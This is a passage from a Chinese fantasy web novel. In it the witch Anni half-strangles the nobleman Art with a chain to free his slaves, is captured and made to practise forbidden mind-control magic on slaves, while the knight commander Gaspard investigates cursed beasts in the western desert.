安霓突然抢过布雷克手里的锁链,快速的冲向亚特的方向,侍卫见状,立马围堵过来,安霓笑了一下,在快要撞上侍卫举着的刀的一瞬间,腾空而起,又迅速的降落在了亚特的身后。
虽然我不能用魔法杀死你,但是我能用物理杀死你。
她快速把长锁链围绕在亚特的脖子上,紧紧勒住。
亚特开始挣扎,双手拼命的拉扯锁链,那粗糙的铁链深深的嵌入他的手心,他的脸色开始红了起来,痛苦的挣扎着。
旁边的神秘人见此情形,还是站在原地动弹不得,双手抖得越发厉害。
安霓没有丝毫怜悯,眼神冰冷的如同寒冬腊月的深潭,她笑了起来,双手死死的拽着锁链,指关节泛白。
仆人被吓得连连后退,侍卫立马冲过去想制止她,可安霓突然开口,用略带嘶哑的嗓音大喊:
“建议各位还是先别动了,”安霓突然使了下力,亚特神情更加痛苦,“否则你们大人的颈椎,下一秒就会变成装饰品。”
“?!”所有的人都被她的威胁唬住了,站在原地面面相觑,谁也不敢上。
布雷克睁大了眼睛看着她,原来她已经可以说话了,只是声音还是很沙哑,诺瓦少爷给她的药起作用了。
安霓踩着亚特的背,借力勒紧了他的脖子,空出一只手去摸亚特的衣服,从他的裤子口袋里翻出了一个娃娃。
“果然在这里,”她快速地把娃娃塞进自己的胸前,还恶劣地拍了拍亚特,“谢了,人渣。”
然后做了一个手势,嘴里开始念咒,一道红光直直地射穿了不远处地围墙,围墙轰然倒塌,扬起一片尘土,围墙外的树木也大批量的倒了下来。
“你们谁动一下,就试试。”安霓恶劣地笑着,加重了手里的力道。
然后她看了一眼琼斯,对他使了个眼色。
琼斯领会,立马带着所有奴隶朝倒塌的围墙外跑去。
奴隶们仿佛看到了生的希望,立马慌乱往外跑,灰头土脸的女孩被抱了起来,她回头睁着大眼睛看向安霓。
女孩的眼睛又亮又黑,眼里映照的火光跳跃闪烁。
黑发红瞳的魔女也对上了女孩单纯的眼睛,随即对她咧开嘴笑了笑。
手上的力气越来越大,亚特翻起来白眼,连连后退,最后跪倒在地。
“安霓,你快放手!”
诺瓦不知道什么时候出现在这里的,往昔那副从容淡然的神情早已消失的无影无踪,此刻的他眉头蹙在一起。
安霓看向诺瓦,眼中闪过一丝犹豫,但很快又恢复了冷漠。
“安霓,我知道他对不起你,可他……”
“可他是你父亲,诺瓦,”安霓开口打断他的话,手上握着的铁链并没有放松下来,“你是想让我放过他吗?”
诺瓦又惊喜又吃惊,他曾经想过很多次安霓开口叫他名字,好在她现在终于能说话了,说明自己托人找的药是有效果的。
可是为什么偏偏是这种情况下呢。
“安霓……”诺瓦凝视着她。
想起第一次见她时,觉得她漂亮的像个精灵一样,美的让他惊叹,尤其是那双灵动的红色眼睛,莫名的,让他心底涌起一股难以言喻的熟悉和亲切感,后来她对他笑,像秋日里的一束和煦的阳光,轻柔又温暖,照的他心脏狂跳。
再后来,她崩溃的在他面前哭的像个受了委屈的孩子,不,应该说的确是受了委屈,那一刻他真的很想抱住她,然后头也不回的带她离开这里。
可眼前的安霓,眼神冷漠,笑容恶劣,跟那天晚上近在咫尺专注看画册的安霓完全不一样,让他有些陌生。
他不知道自己的父亲到底有什么见不得人的计划,不过看样子安霓恨他父亲恨得不行。
“安霓,我带你离开这里,你放他一命!”
诺瓦看着安霓凛冽的模样,对着她大喊:“我带你离开这里,以后你去哪我都跟着你!安霓!”
一直在旁边僵直地神秘人终于抬手,握紧的拳头上套了几层金色的光圈,光圈上印满了符文,跨步上前,朝着安霓打了下来。
“安霓小心!”诺瓦大喊,不顾一切的冲了过去。
安霓貌似早就在提防旁边这个一言不发的神秘人,她抬起手在嘴里咬了一下,鲜红色的液体顺着流了下来,血液立马绕成了圈,形成了一个红色的罩子出现在她抬起的胳膊前,想着挡下神秘人的一记重拳。
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可在相碰的时候,罩子碎了。
基础的防护罩不足以抵挡这种攻击。
安霓见状不妙,立马松开了铁链,借着亚特的肩膀跳了出去,躲过了一击。
神秘人喘着粗气,对着安霓大喊:“都是你!害我成为这副模样!”
“?”
神秘人举着拳头大步冲了过来。
不过安霓并不打算跟他缠斗,她匆匆回头撇了一眼诺瓦,然后大步往被她射穿的墙外面冲。
自由,马上就自由了。
安霓按耐不住自己激动的心情,就在她即将触及自由的那一刻,一道发着金光的绳子从天而降甩了下来,在安霓周围快速绕了几圈,正正好好捆住了她。
安霓只觉得一股无法抗拒的强大力量瞬间将她束缚,挣扎了几下后重重地摔倒在地。
“安霓!”诺瓦心急如焚,朝着安霓的方向狂奔而去,刚想扶起她,就听见上空有人说话。
“真是没用,还能被这种货色吓到。”
另一个戴着同样兜帽和披风的男人出现在楼顶,他轻笑了一声,从楼顶一跃而下。
而刚刚对安霓出拳地神秘人立马单膝下跪,毕恭毕敬地叫了声“老师”。
这个男人个子高却身材消瘦,风吹起他的披风像扬起了一面黑色的旗帜,烈烈作响。
他回头看着神秘人,指责道:“你怎么跟只猫似的还应激了,这点事交给你都办不好。”
他向安霓走过去,诺瓦迅速起身,一个箭步冲上前去,稳稳地拦在了两人中间,他张开双臂,目光警惕地盯着对面的男人。
“不要靠近她。”
男人愣了一下,兜帽下先是探出线条诡异细长的下巴,随即发出一阵阴森的怪笑:“兰伯特家的长子,竟倾心于一个魔女?”
诺瓦怔住了,一时语塞不知道怎么回应,只是感觉心跳快了一拍。
管家瞧见安霓即便处于被捆缚的状态,却依旧在拼命挣扎,顿时慌了神,结结巴巴地朝着侍卫们发号施令:“快……快把她控制住!”话音刚落,一群侍卫如潮水般一拥而上,七手八脚地将安霓狠狠按住,不留丝毫挣脱的余地。
安霓要气疯了,开口大骂:“我刚刚就应该把你们都给杀了!”
男人当即一挥手,动作干脆利落,突然一道重力从侧面冲向了诺瓦的肚子,诺瓦根本无法躲避这突如其来的攻击,直直地被弹飞了出去。
“诺瓦!”安霓大喊。
男人突然把手伸到了安霓的胸前,直接掏出了人偶娃娃,摆弄的看了看。
“兰伯特真是个废物。”
说完,对着安霓的头部施了咒,安霓感觉一阵眩晕,眼前的光越来越弱,昏迷了过去。
……
黯淡的月光透着丝丝寒意,肆意地泼洒在阳台上。
一个身形修长的黑发男子隐匿在阴影中,唯有那件白色衬衫在微弱的光线下隐隐发光。他无声无息地将胳膊架在阳台的栏杆上,静静凝视着不远处的城市,星星点点的灯火,宛如夜空中闪烁的繁星。
“加斯贝德。”
静谧的氛围中,一道幽灵般的声音突然响起。几乎就在声音响起的瞬间,一个黑影模糊的闪现在他身边。
“她被带走了。”
加斯贝德没接话,也没有转身看他,依旧动也不动的望着前方。
“那个魔女还是挺野蛮的,差点把兰伯特子爵勒死,还放走了一堆奴隶。”黑影的声音低沉沙哑。
加斯贝德站在那里,身姿挺拔。听到黑影的话,嘴角微微勾了一下。
行事风格真是一点都没变。
他貌似又想到了什么,眼里的光瞬间黯淡下去,微微翘起的嘴角收了起来,仿佛从未出现过一般,依旧面无表情的看着前方。
“被带哪去了?”
“还在跟。”
“知道了,辛苦你了。”
“是否要救她?”黑影问道。
“不用,她……”加斯贝德垂下眼睛,沉默了一会,缓缓开口:
“她自作自受。”
……
10. 第十章
星迁会,这座神秘而庄重的组织,静卧在都城圣彼卡尔顿近郊的幽深森林之中。茂密广阔的树林环绕四周,仿佛为其构筑起一道天然的屏障,使其在静谧中散发着独特的气息。
隶属于星迁会的首席骑士团——月影骑士团,声名远扬。他们常年驻守在都城之内,凭借着卓越的能力守护这这片土地的安宁。
那些拥有高强攻击力的魔法生物,一旦妄图靠近都城,便会遭到月影骑士团毫不留情的阻击。
而月影骑士团团长——加斯贝德·奇拉尔,不止在骑士团威望颇高,在星迁会里也有一席之地,不只是因为他做事狠厉,战功赫赫,还因为他是星迁会会长唯一的学生。
但是他在贵族里的名声却很臭。
而此时此刻,他坐在装潢精致的黑色骏马上,板着脸,带着两队骑士团走在广袤无垠的荒野上。
而在天空之上,他的鹰角,正展着深黑色宽阔的翅膀,在上方跟随着整个大部队。
“加斯贝德,听说前段时间你总是往贵族那边跑。”波利稳稳地骑着马,驱策着坐骑来到加斯贝德身旁,与他并肩缓缓前行。
波利微微侧头,脸上带着几分好奇与调侃,目光落在加斯贝德身上。
加斯贝德看了他一眼,说道:“满月那几天,月蝠兽跑出来了,得去处理。”
“可是我还听说你跑去吃了什么子爵的炖牛肉,怎么样,好吃吗?”波利笑嘻嘻的看着他,“贵族里的女人可都是很好看的。”
加斯贝德撇了他一眼,神色未起波澜,开口道:“味道一般。”
“也是,你跟会长的女儿订婚了,心里眼里自然容不下别人。”波利叹了口气,不禁微微摇了摇头,感慨道。
波利金色的头发在阳光下微微发着光,白皙的皮肤总是泛着淡淡的红晕,那双湛蓝色的眼睛正打趣地望向加斯贝德。
“会长的女儿长得也是漂亮极了,身材也好……”
“炖牛肉里加了洋葱,我不太喜欢。”加斯贝德冷冷的语气,瞬间截断了波利涛涛不绝的话语。
“波利,”加斯贝德顿了顿,直直地看向他,“听说你上周那份巡逻报告是塞恩帮你写的?”
此话一出,波利原本还挂着笑容地脸瞬间僵住,尴尬至极的神色迅速爬上了他的脸,他下意识的挠挠头,眼神开始飘忽不定,结结巴巴的解释道:“你……你也知道,这只是听说。”
“事情办完以后,回去加练3天。”
“不是,你……炖牛肉不好吃,也不能撒气撒我身上啊!”
苍穹之上,鹰角突然急速俯冲而下,在空中灵活的盘旋了一圈后,稳稳当当地落在了加斯贝德的肩头。
紧接着,一股低沉沙哑的声音传入了加斯贝德的脑内:“加斯贝德,在距离此地一公里的地方,出现了两个体型不大的咬骨兽。”
星迁会极为重视在各个地方的布局,每个地区都会精心设立一个分会,这些分会宛如散步在广袤大地的坚固据点,配合各个地域的亲王,一起承担着诸多重要的职责。
每个分会之下,都配备专门驻守在当地的骑士团,他们通过魔法和布阵的方式,时刻守护着当地的安全与稳定。而整个骑士团的运作和管理,统一交由当地的分会长及分会副会长负责。
可是,在一个月前,西方的巴达尔城附近,有一个叫密尔的村落,频繁出现咬骨兽袭击人类的事件,那些凶猛的妖兽肆意横行,给密尔村的村民带来了无尽的恐惧和灾难。
巴达尔城的分会得知此事后,派出了骑士团去解决此事,可不知怎么,派去的骑士团石沉大海,音信全无,多方打听和搜寻,竟没有得到任何关于这支骑士团的踪迹。
考虑再三,巴达尔城星迁会分会写了一封求助信,加急送到了都城圣彼卡尔顿的星迁会总会,希望总会能伸出援手,解决此事。
最后这个任务,落到了加斯贝德身上。
西部的气候干燥异常,时不时会有狂风裹着沙尘席卷大地,加斯贝德带着两支队伍已经在这片荒漠里行进一周了。
目前为止,他们并没有遇见任何一个生物,仿佛整个世界就只有他们。
加斯贝德皱了下眉头,紧接着毫不犹豫地一声下令:“加快速度!”
随着命令下达,原本整齐有序前行的队伍,步伐紧凑起来,马蹄声交织在了一起,尘土飞扬。
加斯贝德骑着高大的战马,身姿挺拔如松。肩头的漆黑鹰角向着发白的天空重新展翅冲去,发出尖锐的鸣叫。
没过多久,两只全身布满黑色鳞片的咬骨兽映入眼帘。
它们的头颅巨大而扁平,宛如两座小山丘,两颗血红色的眼睛犹如燃烧的火焰,身上每片鳞甲犹如精心打造的黑曜石铠甲,闪烁着冰冷而诡异的光泽。四肢短促有力,背上长了几簇扭曲的黑色毛发,如同钢针般坚硬。
“咬骨兽向来独来独往,极具领地意识,除了□□季节以外,基本不可能在同一领地里出现两只。”波利惊讶的说道。
加斯贝德也觉得奇怪:“咬骨兽的□□季节是夏季,而现在已经入冬了。”
两只妖兽背对着他们,貌似在撕咬着什么东西,低沉的咆哮声和骨骼碎裂的脆响不时传来,伴随着刺鼻的血腥气在空气中弥漫开来。
月影骑士团立刻分出两路来,围住了它们。
刹那间,所有人都震惊了,两只咬骨兽正撕裂着一个血肉模糊的人类残骸!
“怎么会这样!咬骨兽不是不吃人类吗?!”波利瞪大了眼睛,说道。
咬骨兽之所以叫咬骨兽,是因为它们拥有强大的咬合力和坚硬的下颚,能咬碎并吞咽硕大坚硬的骨头,比如安斯比和艾奇这类骨骼坚硬的妖兽。而人类从来不在咬骨兽的食谱里,也从不把人类放在眼里,甚至对人类缺乏基本的警惕,所以即便人类出现在附近,咬骨兽也依旧我行我素,继续着自己的进食或者其他活动。
加斯贝德拔出腰间的银色佩剑,从马上一跃而起,对着正在吞咽人类残骸的咬骨兽劈了过去。
几道寒光微小如星点,但眨眼之间便迅速的从小变大,精准无误地穿透了两只咬骨兽坚硬的头颅。
随着寒光穿颅而过,一股温热的鲜血如喷泉般从咬骨兽的伤口处喷溅而出。浓稠的血液在半空中划出一道道弧线,溅落在地面上,发出沉闷的声响。
“提取血液,再检查一下这两只咬骨兽,看看身体有什么异常。”加斯贝德收起剑,说道。
……
安霓醒来时,看到了陌生的天花板。
洁白如雪,边角处精心雕刻着细腻的花纹,空气中还弥漫着木头的味道。那股淡淡的木香,轻柔地钻进她的鼻腔,好似一双温柔的手,轻轻抚去她心头残留的疲惫与惊慌。
她意识到这里不是那间没有窗户的房间,她立马警惕的坐了起来,四处打量。
阳光透过轻薄的窗帘,温柔地洒在地板上,形成一片片光影。房间里的家具简约而质朴。
床边的矮柜上,摆放着一个小巧的花瓶,里面插着一支不知名的花,正绽放着鲜嫩的花瓣,给整个房间增添了一抹灵动的色彩。
而不远处的桌上,放着那本镶着暗绿色宝石的皮革书,而旁边是诺瓦给她的那本厚重的画册。
她为什么会在这?
她动了一下身子,脚底发出钝痛,她脱下鞋,鞋里有两片薄薄的石头。
安霓撑着脑袋努力回想了一下。
她串通珍珠,让珍珠的意识附在旁边的建筑上,然后远程控制踩在脚底的两块石头,好让她的行动更灵活,不过珍珠真的很厉害,她真的有飞起来。
然后就是差点勒死了亚特·兰伯特,有两个穿着斗篷的男人,一个下巴有疤,一个下巴细长,下巴细长的那个打伤了诺瓦,最后把她打晕了。
然后发生了什么……
不过这也算行动失败了,安霓心里一阵失落,本来还承诺珍珠,如果成功恢复了自由,就想办法去救她。
就在这时,门开了,一个女仆走了进来,发现安霓醒了以后,警惕的观察了她一会。
女仆肤色偏黑,穿着一身黑色连衣裙,面料质感上乘,在光线下折射出隐隐的柔和光泽,领口呈弧形,袖口则是收紧设计,搭配着一圈精致的蕾丝花边。
跟兰伯特家的女仆打扮完全不一样。
“这是哪里?”安霓也警惕的看着她,然后慢慢的下了床,一点点往窗户边上挪。
“这里的主人是拉斐尔伯爵。”女仆开口。
安霓心中满是疑惑,她从未听过什么拉斐尔伯爵,更不明白为什么会被带到这里。
“那个……美女……你见过一个娃娃吗?”安霓试探性的问出口。
“娃娃在我这里。”一道身影破门而入,大声的对安霓说。
安霓被这突然出现的声音吓了一跳,往后退了一步。
来的人是个中年男人,身材矮小且臃肿,圆滚滚的肚子向前突出,将那身裁剪精良的黑色风衣撑起了一个弧度,风衣的领口系的一丝不苟,凸显出他粗壮的脖颈,袖口处精致的纽扣隐隐闪烁着冷冽的光泽。
中年男人上下打量着她,没过一会笑了起来:“听说你把兰伯特家闹得鸡飞狗跳,真是太好了!”
"我早就看他不顺眼了哈哈哈哈哈哈,以他那个德行能成什么事,你真是帮了我大忙!"
安霓看着他,抬起眼说道:“如果你愿意把娃娃给我,我可以把他的头颅送给你。”
“哈哈哈哈哈哈哈
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哈你还真是有意思!”男人像听到了什么不得了的笑话,又开始哈哈大笑起来。
“这位是拉斐尔伯爵。”女仆介绍道。
“从今天开始,我来训练你学什么来着的魔法,”拉斐尔伯爵说道,他貌似也不知道具体内容。
拉斐尔伯爵脸蛋圆润,两撇对称的小胡子看着很有喜感,可那笑眯眯的眼睛里却透着让人捉摸不透的精明。
“冲你让兰伯特吃亏这点,只要你乖乖听话,我不会亏待你。”
“哦对了,你的魔法对我也没啥用,你也不要想着用你的魔法来杀我。”
“那个娃娃……反正不在我身上,不过如果我死了,你也不可能活着出去。”
拉斐尔看着安霓,露出了看似和蔼可亲的笑容,可说的话句句是威胁。
“哎可怜的兰伯特,”拉斐尔微微仰起头,双眼望天,做出一副悲天悯人的样子,轻轻摇了摇头,发出一声悠长的叹息,“早就应该把这个任务让给我,不然也不至于差点死咯,哦……我可怜的兰伯特。”
……真是个夸张的男人,安霓冷眼看着他。
拉斐尔并没有像亚特一样限制安霓的自由,给她安排的房间有窗户,清晨和晌午还有阳光从窗外洒进来,当然也没有什么项圈铁链圈住安霓的脖子。
伙食也变好了不少,一日三餐都由那个黑皮肤女仆送进来,不过总是有她最不喜欢的鹰嘴豆,那些圆滚滚的豆子不管是炖煮后混菜里,还是做成某种配菜,她都得费劲把鹰嘴豆都挑出来,不过拉斐尔家的面包真不错,那股浓郁醇厚的麦香瞬间弥漫开来,钻进她的鼻腔,撩拨着她的味蕾。
但是唯一不变的是,供安霓练习的人依旧是奴隶。
那个细长下巴的男人来过几趟,依旧戴着黑色兜帽和披风。
安霓被带到了地下室,地下室有2个奴隶,露出了安霓熟悉不过的绝望神情。
安霓无奈的叹了口气,缓缓转过头,目光平静却又带着一丝质问,直直地看向那个戴兜帽的男人:“你们真是喜欢拿活人做实验啊。”
“你以为你救了他们,他们就会对你感恩戴德吗?”兜帽下传出带着嘲讽的声音。
“不过我很好奇你的下巴是怎么回事,形状奇怪又尖锐,你低头的时候不会戳到脖子吗?”安霓弯了弯腰,朝兜帽下面看去。
“……”
地下室里的气氛压抑得让人喘不过气来,那几支勉强提供些许光亮的蜡烛,除了摇曳闪烁之外,还时不时迸发出“噼里啪啦”的火花声,在寂静的空间里格外突兀刺耳。
借着这忽明忽暗的烛光,可以看到地下室的中央摆放着一张陈旧的木桌。木桌的表面坑洼不平,布满划痕。而木桌周围,随意摆放着一些奇怪的刑具。
安霓静静的看着他,心里也清楚他们之间的实力差距过大,盘算了一会,说道:“我目前只会两个禁术,一个是灵魂虐杀”,她慢慢走到他身侧,“另一个是……”
“意识操控。”男人打断她。
“对,灵魂虐杀并不能一招致死,起码我做不到。”安霓说道,“至于意识操控,这些奴隶面对我时太恐惧了,脑袋里的反抗意识又太强烈,以我现在的能力根本控制不了他们。”
“所以?”男人问道。
“你背后的主人,应该有个不得了的大计划吧。”安霓眯起眼睛笑了起来,“是想让我杀什么不得了的人物吗?还是……”
突然男人化作一阵黑烟迅速闪现到安霓面前,抬起手紧紧掐住了她的脖子,轻而易举的把她举了起来:“不该问的别问!”
安霓被突如其来的举动吓的心脏猛地一收缩,她喉咙被紧锁喘不上气,握住他掐着她脖子的胳膊。
地下室里的气氛愈发紧张压抑,那几支蜡烛的火苗被这股突如其来的邪风刮得东倒西歪,随时都有熄灭的危险。
安霓脸色发白,鼻腔中发出了几声微弱的喘息,肺部因缺氧而火烧火燎的疼。
男人冷哼了一声,收回了手,安霓顿时失去了支撑,整个人重重地跌倒在地,大口大口地拼命呼吸,仿佛要把刚才缺失的空气全部补回来。每一次吸气都伴随着急促的喘息声,肺部像是风箱一般快速起伏。
“你别动歪心思了,我虽然不会杀了你,但是让你受点苦也不是不行。”兜帽下传出阴冷的声音,他抬手指了指躲在角落里瑟瑟发抖地两个奴隶。
“控制他的意识,让他杀了她。”
安霓缓缓起身,对着他发出一声冷笑。
看来她是说对了,面前的这个长下巴大概也是个蠢货。
就在他抬手掐住她时,她看清了他手腕上的徽章——一只金色的狮鹫,长着翅膀,露着尖牙,仿佛下一秒就要扑向猎物。
……
11. 第十一章
“美女你叫什么名字?”
安霓胳膊撑着桌子,折了一朵刚刚换好还滴着水的花,硬生生的插在面无表情的女仆的耳朵上。
“安其拉。”
“这个名字真适合你,”安霓看着她笑了起来,“我见过那么多黑皮肤的女人,你是长得最好看的一个。”
安其拉面无表情地看着笑嘻嘻的安霓,几秒后缓缓开口:“你该吃饭了。”
随后转身拿起推车上的几个餐盘,摆在了不远处圆形的小餐桌上。
今天的天气雾蒙蒙的,没有太阳,大片铅灰色的乌云,仿若沉重的帷幕,沉甸甸地低垂着,空气中弥漫着沉闷与压抑的气息,应该不久之后会有一场大雨倾泻而下。
安霓把盘子揭开,热气和麦芽的香气混在一起扑面而来:“牛角包!”
等哪天我把尖下巴干掉,找到娃娃后,就去管这里的面包师要配方。安霓默默的想。
“天使,能帮我打听一件事吗?”安霓一边叫住了准备推着餐车离开的安其拉,一边把牛角包塞进了嘴里。
“我叫安其拉。”
“能帮我打听一下兰伯特长子还活着吗?”
安其拉静静的看着她,脸上依旧没有多余的表情。
“是这样,”安霓清了清嗓子,继续说道,“我当时是准备杀了那个长子的,但是力道不知道够不够,也不知道他现在还活着没有。”
“你也知道,我恨透了兰伯特一家,他们对我并不好。”
安霓看着依旧站着一动不动的安其拉,双手合十对着她笑:“求求你了天使,我保证以后乖乖听话。”
安其拉依旧面无表情的转过头,推着餐车离开,走到门口时开了口:“知道了。”
安霓大喊了一声谢谢后,收起笑容,低头看着手里咬了一口的牛角包,感叹了一声。
“真好吃。”
……
大雨并未如预期般降临,天空依旧被阴霾牢牢笼罩,暗沉得仿佛一块沉甸甸的铅板,随时可能压垮整个世界。
安霓依旧去地下室见那个带着兜帽的尖下巴,那地下室宛如隐藏在黑暗深处的巨兽之口,散发着令人胆寒的气息。
上次去的时候,其中有个奴隶已经被来来回回折磨,身体消瘦得不成人形,简直就只剩下一副摇摇欲坠的骷髅架子勉强支撑着,脸色如死灰一般苍白,浓重到吓人的黑眼圈挂在无神的眼下,当被粗暴地按压上来时,他连一丝挣扎的力气都没有,仿佛灵魂早已脱离躯壳,只剩下这具毫无生气的皮囊。
“……换个人吧。”安霓看着尖下巴,说道。
她实在没办法对这样的人下手,如果能换人,说不定他后面可以恢复一些。
尖下巴没说话,就静静站在那里看着她。
“……如果我一直没达标,那岂不是拉斐尔家的奴隶都得死在这里,有多少奴隶可以浪费。”
“……”
“……循环利用懂不懂,杀羊还得留几只□□,才能保证羊群不绝。”
尖下巴抬起手,侍卫从角落里重新压上来一个满脸恐惧大声求饶的年轻人。
新鲜的羊发现求饶没用,就开始咒骂,恶狠狠的看着走近的安霓。
安霓抬手,双手轻轻按住他的太阳穴和眉心,嗡鸣声中带着绿色的光丝,慢慢汇入他的脑子里。
也不知道是不是自身的能力变强了,安霓感受到的阻力并没有之前那么强烈了,那种曾如铜墙铁壁般的对抗感,如今竟变得微弱许多。与此同时,对方的反抗意识似乎也大幅削弱,不再像往昔那样激烈抵抗。
然而,即便如此,眼前的场景依旧不忍直视。那个人大张着嘴巴,发出痛苦至极的嚎叫声,声音尖锐且凄厉。随着他失控的呼喊,口水不受控制地从嘴角滑落,模样狼狈而又可怜。
突然,男人那撕心裂肺的叫声渐渐低了下去,嘴巴也闭上了,脸上痛苦的表情也随之消失,甚至带着一丝笑容,仿佛在享受着什么很舒服的事情。
而安霓植入的内容是——让他的痛苦瞬间消失,并且要求他逢人便说自己刚刚做了一个美轮美奂的梦。
安霓松开手,他也并没有像之前那些奴隶一样晕过去,他缓缓睁开眼睛,带着笑容看着她。
“你刚刚怎么了?”安霓问道。
奴隶先是咧嘴笑了一下,那笑容在他满是疲惫与沧桑的脸上显得有些突兀,随后,他像是陷入了某种长久的怔愣之中,目光呆滞地望着前方,许久都没有挪动。
过了好一会儿,他才缓缓张开干裂的嘴唇,像是用尽了全身的力气,一字一顿,语速极慢地说道:“……我刚刚……做了一个美梦……”
“……我……回家了……”
安霓神情复杂地看着他爬满皱纹又沾着灰尘的脸。
一个流离失所的奴隶能想到的最美轮美奂的梦,也仅仅是回家。
她紧绷的神经终于松弛下来,暗暗松了口气,回过头,目光径直看向那个尖下巴。
“成功了。”
从地下室出来的时候,已经开始下雨了。
安霓抬起头,看着淅沥沥的雨水滴落在她脸上,冰冰凉凉的。
雨越下越大,豆大的雨滴噼里啪啦地砸落在地面,她不紧不慢的往回走,任由雨水落在她身上,打湿了她身上白色加绒的袍子,很快,被浸湿的绒毛紧紧贴在她的身上,勾勒出她略显单薄的身形。
不知走了多久,头顶突然出现了一片阴影,安霓突然警惕的转头又后退了一步。
“这孩子怎么在这淋雨呢?”
一个穿着白色长裙的女人站在伞下,有着一头特别的棕橘色头发,身上披着一件顺滑的貂皮大衣,毛色纯正浓郁,脖子上围着白色的兔毛围巾,毛茸茸的质感不仅抵御了冬日的严寒,更衬托得她肌肤胜雪。头上戴着一顶小巧的天鹅绒贝雷帽。
而她旁边的侍女温柔的笑着,举着一把伞,罩在安霓的头顶。
安霓怔怔的看着她们,黑色的长发还在滴着水。
“这样会感冒的。”披着貂的女人看着她,笑了一下。
她很美,美得让安霓挪不开眼,但是不知道为什么,安霓总觉得她雪白的脸上挂着脆弱和疲惫。
……
此时此刻,远在西方的巴达尔城。
加斯贝德静静地坐在那张长方形的雕花餐桌前,目光越过长长的桌面,看向对面,巴达尔城星迁会分会的会长——巴那·奇德,正满脸笑意地站在那里。
巴那·奇德手中高举着一只颇具年代感的木制圆桶酒杯,正热情洋溢地说着欢迎词,欢迎加斯贝德他们一行人的到来。
墙壁上,一排燃烧正旺的烛火欢快地跳跃着。这些蜡烛皆是用上等的蜂蜡制成,散发着淡淡的、甜润的香气。温暖而柔和的烛光,将整个房间照得通亮,驱散了冬日夜晚的寒意。
“奇拉尔大人,感谢您不远千里来到这里!”
“叫我加斯贝德就行了。”
“是,加斯贝德大人。”
巴那看上去岁数应该有50好几了,岁月毫不留情地在他身上留下了深深浅浅的痕迹,尤其是那一把灰白色的胡子,长得颇为醒目,上头绑着一个红绳,垂落在下巴之上,整个人看着很消瘦,脸上挂着黑眼圈和大大的眼袋,看样子近些日子因为咬骨兽的事情,让他日夜烦恼没有休息好。
他旁边站了一个年纪不大,梳着两束麻花辫的女孩,时不时会偷偷瞄向加斯贝德。
对于他们的到来,这里的人仿佛看到了希望,尤其是星迁会分会的人,一个个面上红润,在酒桌上大力夸赞着骑士团的丰功伟绩。
加斯贝德一身黑衣骑士装坐在椅子上,并没有因为热情的分会人员而展现出任何表情,摇晃着手里的木制酒杯,深绿色的眸子平静的看着他们。
“加斯贝德大人,您打算什么时候启程去密尔村?”巴那问道,“要不您先在这里休息几天。”
“今晚就去。”加斯贝德起身,一声下令,原本还沉浸在宴会轻松氛围中的骑士团成员们,听到指令后毫不犹豫地放下了手中的酒,动作整齐划一,没有丝毫的犹豫与拖沓。
波利嘴里还紧紧咬着那只肥美的鸡腿,油腻的汁水顺着嘴角缓缓滑落。可还没等他来得及把鸡腿拿下来,就条件反射般地跟着其他人迅速立正站好。
他瞪大了眼睛,一脸憨态中带着些许慌乱,腮帮子因为还含着食物而鼓鼓囊囊的,模样显得有些滑稽。
“感谢奇德大人的招待。”加斯贝德微微欠身,向巴那表示谢意。
他转身时目光下意识地朝波利的方向瞥了一眼,看到波利那副嘴里咬着鸡腿的模样滑稽又紧张的样子,他不禁轻轻摇了摇头,骑士团成员也整齐有序的跟着他走出了屋子。
一众人沉默地看着他们离开,对星迁会总会骑士团的效率感到惊讶。
巴那嘴里轻轻切了一声。
……
夜晚西部的荒野比白天更加寒冷,刺骨的风夹杂着沙砾,就像隐藏在黑暗中的暗器,随着狂风
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四处飞射。
就在这漫天风沙之中,月亮缓缓升起。它不像在其他地方那样皎洁明亮,而是被沙尘笼罩着,散发着一种朦胧而诡异的光。
骑士团的每个人都穿着白色的骑士装,蒙着面,每匹马前有一道淡蓝色的屏障,散发着柔和的光芒,来阻挡前方的寒冷和风沙。
“血液检测出来了吗?”加斯贝德问道。
波利从腰间的袋子里掏出了一个长方形的盒子,上面有一个绿色的进度条,上面写着扭曲陌生的文字,大致意思是“已完成”。
“好了。”波利打开盒子,里面有两罐红色的血液,上面套着一层若隐若现的红色的咒文。
“那两只咬骨兽身上没有什么问题,但是血液里都有咒文。”
加斯贝德皱起了眉头:“是什么咒文?”
“血遗,血液类咒语的一种。”波利说道。
从事医疗或者制药行业的人类法师和魔女们,很多都是掌握了血液控制系列的魔法。
比如有的妖兽的血液可入药,如果加上某些血液类的咒语,功效可加倍;再比如有的血液里有一些对人体不好的成分,也可用这类咒语对血液进行清理和过滤。
从事医疗行业用的更多,比如对一些伤口进行清理,或者对血液类疾病进行一些治疗。
当然,每种魔法都会有一些处于灰色地带的咒语。
“血遗会让中咒者的血液携带某些口令,当血液通过大脑时,造成一定的混淆。”加斯贝德骑着马,表情严肃的说道。
骑士们纷纷侧耳倾听,表情凝重,努力消化着这番复杂的话语。
“之后你的行为模式,甚至语言系统将会全面混乱,比如你的习惯是晚上睡觉,中咒以后,你会变成白天睡觉,甚至不睡觉。”
“这种咒语古老又少见,隐蔽性又极强,中咒人只会想到是否中了某些精神类魔法,根本想不到是血液造成的问题。”
“为什么会有这种咒语存在,太变态了吧!”一阵寒意从身上冒起,波利抖了一下,“所以你是想到这种可能性,才让我带着这个血液检测盒子?”
他握着手里的长方形盒子,血液试管外的咒文发着暗暗的红光。
加斯贝德点了点头:“巴那·奇德加急寄来的信我看了,里面的案情描述跟咬骨兽正常的行为模式相违背。”
一阵急促的马蹄声从队伍背后骤然响起。原本专注于前方路况的骑士团众人,瞬间警觉,齐刷刷地回头望去。
只见在飞扬的沙尘之中,隐隐约约出现了十几个身影。随着距离逐渐拉近,这些身影越发清晰——原来是一群身着暗黄色骑士装的骑士。
披风猎猎作响,上面印着巴达尔星迁会分会的标志——一只长着翅膀的沙漠鹰。
而领头的就是那个梳着两个麻花辫的姑娘,巴那·奇德的女儿——塞莉·奇德。
而此时的她也穿着暗黄色的骑士装,黑色的头发一股脑的梳在了脑后,显得精神又飒爽。
波利立马把手里的血液检测盒盖上并塞进了侧腰的袋子里。
“加斯贝德大人!”塞莉策马快速走到他身边,笑了起来。
“奇德小姐,这里不安全。”加斯贝德看着她,回应道。
“抱歉打扰各位了,父亲说了,月影骑士团是总会派来帮助我们的,自然我们也不能偷懒。”
塞莉利落地转身,身姿轻盈而矫健,面向所有人大声说道:“我是沙漠鹰骑士团的团长塞莉·奇德,我们沙漠鹰会非常努力的配合加斯贝德大人,希望能与各位相处愉快!”
